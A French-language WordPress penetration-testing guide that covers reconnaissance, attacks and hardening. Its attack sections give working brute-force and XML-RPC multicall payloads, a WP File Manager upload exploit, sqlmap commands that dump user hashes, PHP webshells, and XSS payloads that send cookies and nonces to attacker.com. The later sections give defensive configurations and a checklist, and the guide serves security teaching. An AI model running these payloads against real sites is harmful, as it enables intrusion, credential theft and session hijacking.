1. Introduction : pourquoi WordPress est la cible n°1
WordPress propulse aujourd'hui plus de 43 % de l'ensemble des sites web dans le monde, soit plus de 800 millions de sites actifs. Du blog personnel au portail e-commerce d'un grand groupe, en passant par les sites institutionnels de gouvernements, la plateforme est omniprésente. Cette domination du marché fait de WordPress une cible de choix pour les attaquants : un seul exploit fonctionnel peut potentiellement compromettre des millions de sites. Comprendre les fondamentaux du hacking WordPress n'est donc pas un exercice académique mais une nécessité opérationnelle pour tout professionnel de la sécurité.
La surface d'attaque de WordPress est considérablement plus large que celle d'un simple CMS. Elle englobe plusieurs couches distinctes, chacune avec ses propres vecteurs d'exploitation :
- Le noyau WordPress (Core) : le moteur PHP lui-même, régulièrement patché mais dont les anciennes versions restent massivement déployées. Les vulnérabilités du core sont rares mais dévastatrices lorsqu'elles sont découvertes.
- Les plugins : avec plus de 60 000 extensions disponibles sur le dépôt officiel et des milliers d'autres vendus sur des marketplaces tierces, les plugins constituent le maillon faible numéro un. Selon les statistiques de WPScan, plus de 90 % des vulnérabilités WordPress signalées proviennent de plugins.
- Les thèmes : souvent négligés dans les audits, les thèmes peuvent contenir du code PHP exécutable, des formulaires de téléchargement non sécurisés, ou des fonctions Ajax exposées sans contrôle d'accès.
- La configuration serveur : le fichier
wp-config.php, les permissions fichiers, la configuration Apache ou Nginx, les headers HTTP et le certificat SSL constituent autant de points de contrôle critiques. - Les utilisateurs et l'authentification : mots de passe faibles, absence de MFA, comptes administrateurs exposés, API REST non restreinte et XML-RPC activé par défaut ouvrent des portes béantes aux attaquants.
À retenir
WordPress représente plus de 43 % du web mondial. Un seul exploit peut affecter des millions de sites. Plus de 90 % des vulnérabilités proviennent des plugins, ce qui en fait le vecteur d'attaque prioritaire lors d'un pentest.
Cet article couvre l'ensemble du processus d'évaluation de la sécurité d'une installation WordPress, depuis la phase de reconnaissance et d'énumération jusqu'à l'exploitation des vulnérabilités les plus courantes, en terminant par une checklist complète de durcissement. Il s'adresse aux pentesters, aux administrateurs systèmes et aux responsables sécurité souhaitant comprendre les risques réels auxquels leurs instances WordPress sont exposées.
L'approche présentée ici est strictement orientée sécurité défensive et offensive dans un cadre légal. Toutes les techniques décrites doivent être utilisées exclusivement dans le cadre d'audits autorisés, de programmes de bug bounty ou sur des environnements de test. L'exploitation non autorisée de systèmes informatiques est un délit pénal dans la plupart des juridictions.
Nous utiliserons principalement des outils open source largement reconnus par la communauté : WPScan, Nmap, Hydra, sqlmap, Burp Suite Community, ainsi que des techniques manuelles essentielles pour tout auditeur. Chaque section inclut des exemples de commandes reproductibles et des extraits de code illustrant les vulnérabilités et leurs correctifs.
2. Reconnaissance et Énumération
La phase de reconnaissance est la fondation de tout audit WordPress réussi. Elle permet de cartographier l'installation cible, d'identifier la version du CMS, de dresser l'inventaire des plugins et thèmes installés, et d'énumérer les comptes utilisateurs. Cette phase est cruciale car elle conditionne directement la pertinence des attaques qui suivront.
2.1 WPScan : l'outil de référence
WPScan est un scanner de sécurité open source spécialement conçu pour WordPress. Écrit en Ruby, il maintient une base de données de vulnérabilités constamment mise à jour (WPVulnDB) et constitue l'outil incontournable de tout pentest WordPress. Son installation est simple sur la plupart des distributions Linux :
# Installation via gem (Ruby)
gem install wpscan
# Ou via Docker
docker pull wpscanteam/wpscan
# Mise à jour de la base de données
wpscan --update
La commande d'énumération complète combine plusieurs options pour maximiser la collecte d'informations :
# Scan complet : utilisateurs, plugins vulnérables, thèmes vulnérables
wpscan --url https://target.com --enumerate u,vp,vt --api-token YOUR_TOKEN
# Énumération agressive des plugins (détecte les plugins non listés)
wpscan --url https://target.com --enumerate ap --plugins-detection aggressive
# Énumération des utilisateurs avec détection de la version
wpscan --url https://target.com --enumerate u --wp-version-detection aggressive
# Scan avec un User-Agent personnalisé pour éviter le blocage
wpscan --url https://target.com --enumerate u,vp,vt \
--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
--random-user-agent
L'option --api-token est essentielle : elle permet d'interroger la base WPVulnDB pour obtenir les CVE associés à chaque plugin ou thème détecté. Sans ce token, WPScan se contente de lister les composants sans mentionner leurs vulnérabilités connues. Le plan gratuit offre 25 requêtes API par jour, ce qui est suffisant pour des audits ponctuels.
2.2 Nmap et scripts NSE pour WordPress
Nmap dispose de scripts NSE (Nmap Scripting Engine) dédiés à l'analyse de sites WordPress. Ces scripts sont particulièrement utiles lorsqu'on préfère rester dans l'écosystème Nmap ou qu'on souhaite combiner le scan WordPress avec un scan de ports classique :
# Énumération des plugins WordPress
nmap -p 80,443 --script http-wordpress-enum target.com
# Énumération des utilisateurs WordPress
nmap -p 80,443 --script http-wordpress-users target.com
# Brute-force WordPress (dictionnaire)
nmap -p 80,443 --script http-wordpress-brute \
--script-args 'userdb=users.txt,passdb=passwords.txt' target.com
# Combinaison complète avec détection de version
nmap -sV -p 80,443 --script http-wordpress-enum,http-wordpress-users target.com
2.3 Énumération manuelle : les endpoints révélateurs
L'énumération manuelle reste indispensable pour compléter les résultats des scanners automatisés. WordPress expose par défaut de nombreux endpoints qui divulguent des informations sensibles. Voici les cibles prioritaires :
Détection de version
# Le fichier readme.html affiche la version de WordPress
curl -s https://target.com/readme.html | grep -i "version"
# Le fichier license.txt peut aussi révéler des informations
curl -s https://target.com/license.txt | head -5
# Le meta generator dans le code source
curl -s https://target.com/ | grep -i "generator"
# Résultat typique : <meta name="generator" content="WordPress 6.4.2" />
# Les fichiers CSS/JS incluent souvent la version en paramètre
curl -s https://target.com/ | grep -oP 'ver=[\d.]+'
Énumération des utilisateurs
WordPress permet par défaut d'énumérer les utilisateurs via plusieurs méthodes. C'est l'une des premières étapes pour préparer une attaque par brute-force :
# Méthode 1 : Paramètre author (redirection vers /author/username/)
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" \
"https://target.com/?author=$i"
done
# Méthode 2 : API REST WordPress (activée par défaut depuis WP 4.7)
curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool
# Retourne : id, name, slug, description, url, avatar_urls
# Méthode 3 : API REST avec pagination
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100"
# Méthode 4 : Flux RSS des auteurs
curl -s https://target.com/feed/ | grep -oP '<dc:creator>\K[^<]+'
# Méthode 5 : Sitemap (si activé)
curl -s https://target.com/wp-sitemap-users-1.xml
Fichiers et répertoires sensibles
# Fichier de debug (peut contenir des erreurs PHP, chemins, requêtes SQL)
curl -s https://target.com/wp-content/debug.log | head -50
# Vérification de XML-RPC (vecteur de brute-force amplifié)
curl -s -X POST https://target.com/xmlrpc.php \
-d '<methodCall><methodName>system.listMethods</methodName></methodCall>'
# Listing des répertoires (si Options +Indexes est activé)
curl -s https://target.com/wp-content/plugins/
curl -s https://target.com/wp-content/uploads/
curl -s https://target.com/wp-includes/
# Fichier wp-config.php backup (erreur courante)
curl -s https://target.com/wp-config.php.bak
curl -s https://target.com/wp-config.php.old
curl -s https://target.com/wp-config.php~
curl -s https://target.com/.wp-config.php.swp
2.4 Google Dorks pour WordPress
Les opérateurs de recherche avancés de Google permettent de découvrir des installations WordPress vulnérables, des fichiers exposés et des erreurs de configuration. Voici les dorks les plus efficaces :
# Trouver des pages de login WordPress
inurl:wp-login.php
# Détecter des fichiers debug.log exposés
inurl:wp-content/debug.log filetype:log
# Trouver des fichiers wp-config exposés
inurl:wp-config.php filetype:php intext:DB_PASSWORD
# Installations avec directory listing activé
intitle:"Index of" inurl:wp-content/plugins/
# Rechercher des sites avec un plugin spécifique vulnérable
inurl:wp-content/plugins/contact-form-7/
# Pages d'administration WordPress indexées
inurl:wp-admin intitle:"Dashboard"
# Fichiers de sauvegarde de base de données
inurl:wp-content/ filetype:sql
# Recherche ciblée sur un domaine spécifique
site:target.com inurl:wp-content
site:target.com inurl:wp-admin
site:target.com filetype:xml inurl:sitemap
À retenir
L'API REST WordPress (/wp-json/wp/v2/users) divulgue par défaut la liste des utilisateurs avec leurs identifiants. C'est souvent le premier vecteur exploité pour préparer une attaque par brute-force. Désactivez cette endpoint si elle n'est pas nécessaire.
3. Attaques classiques contre WordPress
Une fois la phase de reconnaissance achevée, l'attaquant dispose d'une cartographie précise de la cible : version WordPress, liste des plugins et thèmes, comptes utilisateurs identifiés, et endpoints exposés. Cette section détaille les cinq familles d'attaques les plus fréquemment exploitées sur WordPress, avec des exemples concrets et des commandes reproductibles.
3.1 Brute-force wp-login.php et xmlrpc.php
L'attaque par brute-force reste l'une des plus répandues contre WordPress, en raison de l'absence fréquente de mécanismes de rate limiting et de verrouillage de compte. Deux vecteurs principaux sont exploités : la page de connexion classique wp-login.php et l'interface XML-RPC.
Brute-force classique avec WPScan et Hydra
WPScan intègre un module de brute-force performant qui gère automatiquement les tokens CSRF et les cookies de session :
# Brute-force avec WPScan
wpscan --url https://target.com --passwords /usr/share/wordlists/rockyou.txt \
--usernames admin,editor,webmaster --max-threads 50
# Brute-force avec Hydra (HTTP POST)
hydra -L users.txt -P passwords.txt target.com http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect" \
-t 16 -f
# Password spraying (un mot de passe, plusieurs comptes)
wpscan --url https://target.com --passwords spring2026.txt \
--usernames admin,editor,author,contributor \
--password-attack wp-login
Attaque amplifiée via XML-RPC system.multicall
L'interface XML-RPC de WordPress est particulièrement dangereuse car la méthode system.multicall permet de tester des centaines de mots de passe en une seule requête HTTP. Cette technique contourne la plupart des solutions de rate limiting qui comptent les requêtes et non les tentatives d'authentification :
<!-- Requête XML-RPC multicall : 500 tentatives en 1 requête -->
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value><array><data>
<value><struct>
<member><name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member><name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value>
</member>
</struct></value>
<value><struct>
<member><name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member><name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value>
</member>
</struct></value>
<!-- ... répéter pour chaque mot de passe ... -->
</data></array></value>
</param>
</params>
</methodCall>
# Envoi de la requête multicall avec curl
curl -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d @multicall_payload.xml
# Script Python pour automatiser l'attaque multicall
python3 wp_xmlrpc_brute.py --url https://target.com \
--username admin --wordlist rockyou.txt --batch-size 500
Impact de l'attaque XML-RPC
Une seule requête system.multicall peut tester jusqu'à 500 mots de passe simultanément. Un attaquant peut ainsi tester 50 000 mots de passe avec seulement 100 requêtes HTTP, rendant les protections basées sur le comptage de requêtes totalement inefficaces. De nombreux WAF ne détectent pas cette technique car ils analysent le volume de requêtes et non le contenu XML.
3.2 Exploitation de plugins vulnérables
Les plugins WordPress représentent le vecteur d'attaque le plus prolifique de l'écosystème. Selon les données de WPScan, les plugins les plus exploités historiquement incluent des extensions extrêmement populaires, installées sur des millions de sites. Voici les catégories de vulnérabilités les plus fréquentes :
| Plugin | Installations | Type de vulnérabilité | CVE notable |
|---|---|---|---|
| Contact Form 7 | 5M+ | Upload de fichiers non restreint | CVE-2020-35489 |
| Elementor | 5M+ | RCE, XSS, escalade de privilèges | CVE-2022-29455 |
| WooCommerce | 5M+ | SQLi, contournement auth | CVE-2021-32789 |
| Yoast SEO | 5M+ | XSS stocké, SSRF | CVE-2021-25118 |
| WPForms | 5M+ | XSS, CSRF | CVE-2024-2053 |
| All in One SEO | 3M+ | SQLi authentifié, escalade privilèges | CVE-2021-25036 |
| Wordfence | 4M+ | Bypass d'authentification | CVE-2024-2294 |
| UpdraftPlus | 3M+ | Téléchargement de backups non autorisé | CVE-2022-0633 |
| WP File Manager | 700K+ | RCE sans authentification | CVE-2020-25213 |
| ThemeGrill Demo Importer | 200K+ | Suppression complète de la BDD | CVE-2020-5768 |
L'exploitation d'un plugin vulnérable commence par la vérification de sa version. WPScan automatise cette détection, mais une vérification manuelle est souvent nécessaire :
# Vérifier la version d'un plugin spécifique
curl -s https://target.com/wp-content/plugins/contact-form-7/readme.txt \
| grep -i "stable tag"
# Résultat : Stable tag: 5.3.1
# Rechercher des vulnérabilités dans la base WPScan
wpscan --url https://target.com --enumerate vp --api-token YOUR_TOKEN
# Exploiter CVE-2020-25213 (WP File Manager RCE)
# Le plugin expose un endpoint elFinder non protégé
curl -X POST "https://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
-F "cmd=upload" \
-F "target=l1_Lw" \
-F "upload[]=@shell.php"
À retenir
La CVE-2020-25213 (WP File Manager) a permis l'exploitation de plus de 700 000 sites en quelques jours. Le plugin exposait un gestionnaire de fichiers elFinder sans authentification, permettant l'upload et l'exécution de webshells PHP. Toujours vérifier le fichier readme.txt de chaque plugin pour identifier la version installée.
3.3 SQL Injection dans les plugins
Les injections SQL dans WordPress proviennent presque exclusivement de plugins qui construisent des requêtes SQL sans utiliser correctement la classe $wpdb et sa méthode prepare(). Le problème est d'autant plus critique que de nombreux développeurs de plugins ne sont pas des experts en sécurité et ignorent les bonnes pratiques de requêtage.
Code vulnérable vs code sécurisé
// CODE VULNÉRABLE : concaténation directe (SQLi possible)
function get_user_data_vulnerable($user_id) {
global $wpdb;
$query = "SELECT * FROM {$wpdb->prefix}custom_table
WHERE user_id = " . $_GET['id'];
return $wpdb->get_results($query);
}
// CODE VULNÉRABLE : LIKE sans échappement
function search_vulnerable($search_term) {
global $wpdb;
$query = "SELECT * FROM {$wpdb->prefix}posts
WHERE post_title LIKE '%{$_GET['s']}%'";
return $wpdb->get_results($query);
}
// CODE SÉCURISÉ : utilisation de $wpdb->prepare()
function get_user_data_secure($user_id) {
global $wpdb;
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}custom_table WHERE user_id = %d",
intval($_GET['id'])
);
return $wpdb->get_results($query);
}
// CODE SÉCURISÉ : LIKE avec échappement correct
function search_secure($search_term) {
global $wpdb;
$like = '%' . $wpdb->esc_like(sanitize_text_field($_GET['s'])) . '%';
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}posts WHERE post_title LIKE %s",
$like
);
return $wpdb->get_results($query);
}
Exploitation avec sqlmap
# Détection automatique d'une SQLi dans un paramètre GET
sqlmap -u "https://target.com/?custom_action=view&id=1" \
--cookie="wordpress_logged_in_xxx=yyy" --batch --dbs
# Exploitation d'un paramètre POST (formulaire de plugin)
sqlmap -u "https://target.com/wp-admin/admin-ajax.php" \
--data="action=custom_search&query=test" --batch --dbs
# Extraction des identifiants WordPress
sqlmap -u "https://target.com/?custom_action=view&id=1" \
--batch -D wordpress -T wp_users --dump
# Extraction ciblée des hash de mots de passe
sqlmap -u "https://target.com/?custom_action=view&id=1" \
--batch -D wordpress -T wp_users -C user_login,user_pass --dump
# Cracking des hash WordPress (phpass) avec hashcat
hashcat -m 400 wp_hashes.txt rockyou.txt -O
3.4 File Upload via thèmes et plugins
Les vulnérabilités d'upload de fichiers sont particulièrement critiques dans WordPress car elles conduisent généralement à l'exécution de code à distance (RCE). Plusieurs vecteurs d'attaque sont couramment exploités :
Techniques de contournement des restrictions d'upload
# Technique 1 : Double extension
# Le serveur vérifie la dernière extension mais Apache peut
# interpréter shell.php.jpg comme PHP si mal configuré
mv webshell.php webshell.php.jpg
# Technique 2 : Extension nulle (null byte - anciennes versions PHP)
# Fonctionne sur PHP < 5.3.4
mv webshell.php "webshell.php%00.jpg"
# Technique 3 : Manipulation du Content-Type
curl -X POST "https://target.com/wp-admin/async-upload.php" \
-H "Cookie: wordpress_logged_in_xxx=yyy" \
-F "action=upload-attachment" \
-F "async-upload=@webshell.php;type=image/jpeg" \
-F "_wpnonce=NONCE_VALUE"
# Technique 4 : Extension alternative (.phtml, .pht, .php5, .phar)
mv webshell.php webshell.phtml
# Technique 5 : Fichier .htaccess malveillant
# Si on peut uploader un .htaccess dans /uploads/
# AddType application/x-httpd-php .jpg
echo 'AddType application/x-httpd-php .jpg' > .htaccess
L'éditeur de thèmes intégré à WordPress (Appearance > Theme File Editor) constitue un vecteur d'attaque privilégié. Si un attaquant obtient un accès administrateur, il peut directement modifier les fichiers PHP du thème pour y injecter un webshell :
// Injection dans le fichier 404.php du thème actif
// Accessible via : https://target.com/?p=99999 (page inexistante)
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
// Webshell plus discret (encodé)
<?php @eval(base64_decode($_POST['x'])); ?>
3.5 XSS stocké via commentaires et champs personnalisés
Les attaques XSS (Cross-Site Scripting) stockées dans WordPress sont particulièrement redoutables car elles affectent tous les visiteurs qui consultent la page compromise. Plusieurs vecteurs sont exploitables :
XSS dans les commentaires WordPress
Historiquement, le système de commentaires WordPress a été affecté par plusieurs vulnérabilités XSS. Bien que le core soit désormais bien protégé grâce à wp_kses(), les plugins qui modifient le traitement des commentaires peuvent réintroduire des failles :
<!-- Payload XSS classique dans un commentaire -->
<img src=x onerror=alert(document.cookie)>
<!-- Payload avec contournement de filtre -->
<a href="javascript:alert(document.cookie)"
title="Cliquez ici">Lien utile</a>
<!-- Payload via attribut style (certains plugins) -->
<div style="background:url('javascript:alert(1)')">test</div>
<!-- Payload d'exfiltration de cookies -->
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
<!-- Payload de vol de session admin -->
<script>
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
nonce: wpApiSettings.nonce // Token WordPress
})
});
</script>
XSS dans les champs personnalisés (Custom Fields)
// Code vulnérable : affichage d'un meta sans échappement
$custom_value = get_post_meta($post->ID, 'user_input', true);
echo '<div class="custom-field">' . $custom_value . '</div>';
// Code sécurisé : échappement systématique en sortie
$custom_value = get_post_meta($post->ID, 'user_input', true);
echo '<div class="custom-field">' . esc_html($custom_value) . '</div>';
// Pour les URL
echo '<a href="' . esc_url($custom_url) . '">Lien</a>';
// Pour les attributs HTML
echo '<input value="' . esc_attr($custom_value) . '">';
À retenir
WordPress fournit des fonctions d'échappement dédiées : esc_html(), esc_attr(), esc_url(), wp_kses(). Toute sortie vers le navigateur doit être échappée. La règle d'or : valider en entrée, échapper en sortie (escape late).
4. Contre-mesures Niveau 1 : durcissement fondamental
Pour chaque vecteur d'attaque présenté dans la section précédente, des contre-mesures efficaces existent. Cette section détaille les mesures de protection fondamentales que toute installation WordPress de production doit implémenter, classées par ordre de priorité et de criticité.
4.1 Mises à jour automatiques du core, des plugins et des thèmes
La majorité des compromissions WordPress exploitent des vulnérabilités connues pour lesquelles un correctif est déjà disponible. L'activation des mises à jour automatiques est la première ligne de défense. Depuis WordPress 5.5, il est possible de configurer les auto-updates granulairment :
// Dans wp-config.php : activer les mises à jour automatiques du core
define('WP_AUTO_UPDATE_CORE', true);
// Dans functions.php du thème ou un mu-plugin :
// Activer les auto-updates pour tous les plugins
add_filter('auto_update_plugin', '__return_true');
// Activer les auto-updates pour tous les thèmes
add_filter('auto_update_theme', '__return_true');
// Ou sélectivement pour certains plugins critiques
add_filter('auto_update_plugin', function($update, $item) {
$critical_plugins = ['wordfence', 'sucuri-scanner', 'akismet'];
if (in_array($item->slug, $critical_plugins)) {
return true;
}
return $update;
}, 10, 2);
4.2 Désactivation de XML-RPC
XML-RPC est activé par défaut dans WordPress mais n'est plus nécessaire pour la plupart des installations modernes (l'API REST le remplace). Sa désactivation élimine le vecteur d'attaque brute-force amplifié :
// Méthode 1 : Dans functions.php ou un mu-plugin
add_filter('xmlrpc_enabled', '__return_false');
// Méthode 2 : Supprimer le header X-Pingback
add_filter('wp_headers', function($headers) {
unset($headers['X-Pingback']);
return $headers;
});
// Méthode 3 : Désactiver des méthodes spécifiques
add_filter('xmlrpc_methods', function($methods) {
unset($methods['pingback.ping']);
unset($methods['pingback.extensions.getPingbacks']);
return $methods;
});
# Dans .htaccess (Apache) : bloquer l'accès à xmlrpc.php
<Files xmlrpc.php>
Require all denied
</Files>
# Dans la configuration Nginx
location = /xmlrpc.php {
deny all;
access_log off;
log_not_found off;
return 444;
}
4.3 Limitation des tentatives de connexion
La limitation du nombre de tentatives de connexion est essentielle pour contrer les attaques par brute-force. Plusieurs niveaux de protection peuvent être combinés :
# Configuration fail2ban pour WordPress
# Fichier : /etc/fail2ban/filter.d/wordpress.conf
[Definition]
failregex = ^<HOST> .* "POST /wp-login.php
^<HOST> .* "POST /xmlrpc.php
ignoreregex =
# Fichier : /etc/fail2ban/jail.d/wordpress.conf
[wordpress]
enabled = true
port = http,https
filter = wordpress
logpath = /var/log/nginx/access.log
maxretry = 5
findtime = 300
bantime = 3600
action = iptables-multiport[name=wordpress, port="http,https"]
# Rate limiting Nginx pour wp-login.php
limit_req_zone $binary_remote_addr zone=wp_login:10m rate=3r/m;
location = /wp-login.php {
limit_req zone=wp_login burst=3 nodelay;
limit_req_status 429;
include fastcgi_params;
fastcgi_pass unix:/run/php/php8.2-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
4.4 Règles de durcissement .htaccess
# Protéger wp-config.php
<Files wp-config.php>
Require all denied
</Files>
# Bloquer l'accès à .htaccess
<Files .htaccess>
Require all denied
</Files>
# Désactiver le listing des répertoires
Options -Indexes
# Bloquer l'exécution PHP dans /uploads/
<Directory "/var/www/html/wp-content/uploads">
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
</Directory>
# Bloquer l'accès à /wp-includes/
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
# Headers de sécurité
<IfModule mod_headers.c>
Header set X-Content-Type-Options "nosniff"
Header set X-Frame-Options "SAMEORIGIN"
Header set X-XSS-Protection "1; mode=block"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Permissions-Policy "camera=(), microphone=(), geolocation=()"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
# CSP basique (à adapter selon votre site)
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com"
</IfModule>
4.5 Permissions fichiers et wp-config.php
# Permissions recommandées pour WordPress
# Répertoires : 755 (rwxr-xr-x)
find /var/www/html -type d -exec chmod 755 {} \;
# Fichiers : 644 (rw-r--r--)
find /var/www/html -type f -exec chmod 644 {} \;
# wp-config.php : 600 ou 400 (lecture seule par le propriétaire)
chmod 600 /var/www/html/wp-config.php
# Propriétaire : www-data (ou l'utilisateur du serveur web)
chown -R www-data:www-data /var/www/html
# Optionnel : déplacer wp-config.php au-dessus du webroot
# WordPress le détecte automatiquement un niveau au-dessus
mv /var/www/html/wp-config.php /var/www/wp-config.php
chmod 400 /var/www/wp-config.php
4.6 Sécurisation de wp-config.php
// Désactiver l'éditeur de fichiers dans l'admin WordPress
define('DISALLOW_FILE_EDIT', true);
// Désactiver l'installation de plugins/thèmes via l'admin
define('DISALLOW_FILE_MODS', true);
// Forcer HTTPS pour l'administration
define('FORCE_SSL_ADMIN', true);
// Changer le préfixe de table (à faire AVANT l'installation)
$table_prefix = 'wp_s3cur3_';
// Désactiver le mode debug en production
define('WP_DEBUG', false);
define('WP_DEBUG_LOG', false);
define('WP_DEBUG_DISPLAY', false);
// Limiter les révisions de posts (réduit la surface d'attaque BDD)
define('WP_POST_REVISIONS', 5);
// Régénérer les clés de sécurité (AUTH_KEY, SECURE_AUTH_KEY, etc.)
// Utiliser : https://api.wordpress.org/secret-key/1.1/salt/
define('AUTH_KEY', 'valeur_unique_générée');
define('SECURE_AUTH_KEY', 'valeur_unique_générée');
define('LOGGED_IN_KEY', 'valeur_unique_générée');
define('NONCE_KEY', 'valeur_unique_générée');
define('AUTH_SALT', 'valeur_unique_générée');
define('SECURE_AUTH_SALT', 'valeur_unique_générée');
define('LOGGED_IN_SALT', 'valeur_unique_générée');
define('NONCE_SALT', 'valeur_unique_générée');
4.7 Désactivation de l'énumération des utilisateurs
// Bloquer l'énumération via ?author=N
add_action('template_redirect', function() {
if (is_author()) {
wp_redirect(home_url('/'), 301);
exit;
}
});
// Bloquer l'API REST users pour les non-authentifiés
add_filter('rest_endpoints', function($endpoints) {
if (!is_user_logged_in()) {
if (isset($endpoints['/wp/v2/users'])) {
unset($endpoints['/wp/v2/users']);
}
if (isset($endpoints['/wp/v2/users/(?P<id>[\d]+)'])) {
unset($endpoints['/wp/v2/users/(?P<id>[\d]+)']);
}
}
return $endpoints;
});
// Masquer la version de WordPress
remove_action('wp_head', 'wp_generator');
add_filter('the_generator', '__return_empty_string');
4.8 Authentification à deux facteurs (2FA)
L'authentification à deux facteurs est la contre-mesure la plus efficace contre le brute-force et le credential stuffing. Même si un mot de passe est compromis, l'attaquant ne peut pas se connecter sans le second facteur. Plusieurs plugins fiables implémentent le 2FA pour WordPress :
- WP 2FA : plugin léger compatible TOTP (Google Authenticator, Authy) avec politique d'application par rôle utilisateur.
- Wordfence Login Security : module 2FA intégré au plugin Wordfence, supporte TOTP et les codes de récupération.
- Two-Factor : plugin développé par des contributeurs core WordPress, supporte TOTP, email, clés de sécurité FIDO U2F et codes de secours.
La politique de 2FA doit être obligatoire pour tous les comptes administrateurs et éditeurs. Les contributeurs et abonnés peuvent bénéficier d'une politique optionnelle selon la sensibilité du site. Depuis WordPress 6.4, le core supporte nativement la gestion des mots de passe applicatifs pour l'API REST, ce qui permet de limiter les accès API sans exposer le mot de passe principal.
À retenir
Le durcissement WordPress repose sur un principe de défense en profondeur : chaque couche (serveur web, PHP, WordPress core, plugins, utilisateurs) doit être sécurisée indépendamment. La désactivation de XML-RPC, le 2FA obligatoire pour les admins, et le blocage de l'exécution PHP dans /uploads/ sont les trois mesures les plus impactantes pour réduire la surface d'attaque.
5. Checklist de durcissement Niveau 1
Cette checklist synthétise les 20 mesures de durcissement essentielles pour toute installation WordPress de production. Elle est organisée en quatre catégories : Accès et Authentification, Fichiers et Répertoires, Configuration WordPress, et Monitoring et Surveillance. Chaque point doit être vérifié et documenté lors d'un audit de sécurité WordPress.
Détail des 20 points de la checklist
| # | Mesure de durcissement | Priorité | Implémentation |
|---|---|---|---|
| 1 | Mettre à jour WordPress, thèmes et plugins | Critique | WP_AUTO_UPDATE_CORE + auto-update plugins |
| 2 | Supprimer les plugins/thèmes inutilisés | Critique | Audit mensuel des extensions |
| 3 | Désactiver XML-RPC | Critique | add_filter('xmlrpc_enabled','__return_false') |
| 4 | Limiter les tentatives de connexion | Critique | fail2ban + rate limiting Nginx |
| 5 | Activer le 2FA | Critique | Plugin WP 2FA ou Wordfence |
| 6 | Changer le préfixe de la base de données | Haute | $table_prefix = 'wp_s3c_' |
| 7 | Déplacer wp-config.php au-dessus du webroot | Haute | mv wp-config.php ../ |
| 8 | Définir DISALLOW_FILE_EDIT à true | Haute | define('DISALLOW_FILE_EDIT', true) |
| 9 | Configurer les permissions fichiers (644/755) | Haute | find -type f -exec chmod 644 |
| 10 | Masquer la version de WordPress | Moyenne | remove_action('wp_head','wp_generator') |
| 11 | Désactiver l'énumération des utilisateurs | Haute | Bloquer ?author=N + API REST users |
| 12 | Sécuriser le fichier .htaccess | Haute | Règles de restriction (voir section 4.4) |
| 13 | Activer les headers de sécurité | Haute | X-Frame-Options, CSP, HSTS |
| 14 | Configurer les sauvegardes automatiques | Critique | UpdraftPlus / BackWPup + stockage externe |
| 15 | Installer un plugin de sécurité | Haute | Wordfence ou Sucuri Security |
| 16 | Bloquer l'accès à /wp-includes/ | Moyenne | Règle .htaccess ou Nginx |
| 17 | Désactiver le listage des répertoires | Haute | Options -Indexes |
| 18 | Protéger wp-login.php par IP ou Basic Auth | Moyenne | Require ip dans .htaccess |
| 19 | Surveiller les logs d'accès | Haute | GoAccess / ELK Stack / Crowdsec |
| 20 | Configurer HTTPS avec HSTS | Critique | Let's Encrypt + header HSTS |
À retenir
Visez un score minimum de 16/20 sur cette checklist pour une installation de production. Les 6 points marqués "Critique" (mises à jour, suppression des extensions inutilisées, désactivation XML-RPC, limitation des connexions, 2FA, sauvegardes et HTTPS) doivent être impérativement implémentés dès le déploiement du site.
6. Conclusion
WordPress, de par sa domination sur le marché des CMS avec plus de 43 % du web mondial, constitue une cible permanente pour les attaquants. Les vecteurs d'exploitation sont nombreux et bien documentés : brute-force via XML-RPC et wp-login.php, injections SQL dans les plugins mal développés, XSS stocké via les commentaires et les champs personnalisés, et upload de fichiers malveillants contournant les restrictions de sécurité.
La bonne nouvelle est que la grande majorité de ces attaques sont prévenues par l'application rigoureuse des 20 mesures de durcissement présentées dans cet article. La mise à jour systématique du core et des extensions, la désactivation de XML-RPC, l'implémentation du 2FA, le blocage de l'exécution PHP dans le répertoire uploads, et la configuration correcte des permissions fichiers constituent un socle de sécurité qui rend l'exploitation considérablement plus difficile pour un attaquant opportuniste.
Ce guide couvre les fondamentaux du hacking WordPress (Niveau 1). Un article complémentaire de niveau intermédiaire abordera les techniques avancées : exploitation de vulnérabilités de désérialisation PHP dans les plugins, attaques sur les tâches planifiées (wp-cron), pivoting depuis une instance WordPress compromise vers l'infrastructure interne, et intégration de WordPress dans une chaîne d'attaque de type supply chain.
Si votre organisation déploie des instances WordPress en production, nous recommandons fortement la réalisation d'un audit de sécurité spécialisé. Un pentest WordPress professionnel identifie non seulement les vulnérabilités techniques, mais évalue également la posture de sécurité globale : politique de mots de passe, gestion des accès, processus de mise à jour, et capacité de détection et de réponse aux incidents.
